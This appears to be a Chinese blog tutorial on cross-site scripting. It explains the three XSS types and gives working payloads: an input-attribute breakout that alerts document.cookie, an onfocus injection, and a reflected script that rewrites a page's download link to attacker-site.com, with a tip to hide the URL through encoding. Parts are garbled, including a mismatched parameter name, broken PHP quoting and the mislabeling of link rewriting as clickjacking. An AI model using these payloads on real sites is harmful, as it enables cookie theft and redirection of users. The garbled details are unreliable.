所谓XSS这个场景被触发XSS地方,在大多数情况下,攻击者被嵌入在网页中(问题)该恶意脚本(Cross site Scripting),这里的攻击始终触发浏览器端,攻击的者的目的。一般都是获取用户的Cookie(能够还原账户登录状态),导航到恶意网址,携带木马,作为肉鸡发起CC攻击。传播XSS蠕虫等。
整体分为三类:
Dom-Based(Dom式)
Stroed-Based(存储式)
Reflex-Based(反射式)
简单举一个场景:
在一个页面有一个textbox 代码就是<input type="text" name="address1" value="value1from">
这里的valuefrom 就是来自用户的输入。假设用户输入的不是valuefrom 的字符串,而是其它的代码就可能出现用户输入的数据被运行,如输入:"/><script>alert(document.cookie);</script><!--那样输入字符床被拼接的之后就是:
<input type="text" name="address1" value=""/><script>alert(document.cookie);</script><!--">
这样就是显示一个含实用户cookie的提示框,假设输入再改改:
" onfocus="alert(document.cookie); 那就变成了:
<input type="text" name="address1" value="" onfocus="alert(document.cookie); ">
这样在onfocus事件触发后,js 代码就会被运行,当然攻击者肯定不会傻的把提示框弹出来。这里仅仅是证明能够获取到数据。hk的一般做法就是把想要的数据发到自己的另外一个站上他们的做法通常是:
在目标网页嵌入一段遮掩给的代码(一般都是在比較隐蔽的位置,或者直接就是在结尾):
1.点击劫持(hjick click)-一种非持久性攻击方法(反射型XSS):
原来server页面是
<?php
$name = $_GET['name']; /* 在GET 參数中获取username */
echo "Welcome $name <br>"; /* 这里网页中打印变量 */
echo "<a href="http://blog.csdn.net/l_f0rM4t3d"> Click to Download</a>"; /* 显示可重定向的链接 */
? >
假设用户在URL输入:
index.php?id=ByteWay<script>alert('attacked');</script>
这样在用户链接就会生成这样html代码:
Welcome ByteWay <script>alert('attacked');</script>
<br>
<a href='http://blog.csdn.net/l_f0rM4t3d'> Click to Download</a>
看到上面的代码大哥你就惊呆了吧: 这里会弹出 attacked 的提示框,可是你会发现这还不是点击劫持啊? 呵呵,不要着急,仅仅要你明确了这个道理,相信你就是猥琐的想到直接在那里加段js 直接改动掉那个超链接就Ok了,以下是详细的办法:
假设用户在URL输入:index.php?id=ByteWay<script>window.onload=function(){var link=document.getElementsByTagName('a');link[0].href='http://attacker-site.com';}</script>
返回到用户的界面就是这种:
Welcome ByteWay
<script>
window.onload=function(){var link=document.getElementsByTagName('a');
link[0].href='http://attacker-site.com';
}
</script>
<br>
<a href='http://blog.csdn.net/l_f0rM4t3d'> Click to Download</a>
可是由于非常快就会运行window.load的方法。这样后面的劫持的URL就发生了:
Welcome ByteWay
<script>
window.onload=function(){var link=document.getElementsByTagName('a');
link[0].href='http://attacker-site.com';
}
</script>
<br>
<a href='http://attacker-site.com'> Click to Download</a> <!-- 注意这是被劫持之后的URL -->
当然这里的看得URL太过明显了,咋办? 只要加上urlencode()之类的功能将起到模糊视听的作用。
版权声明:本文博客原创文章,博客,未经同意,不得转载。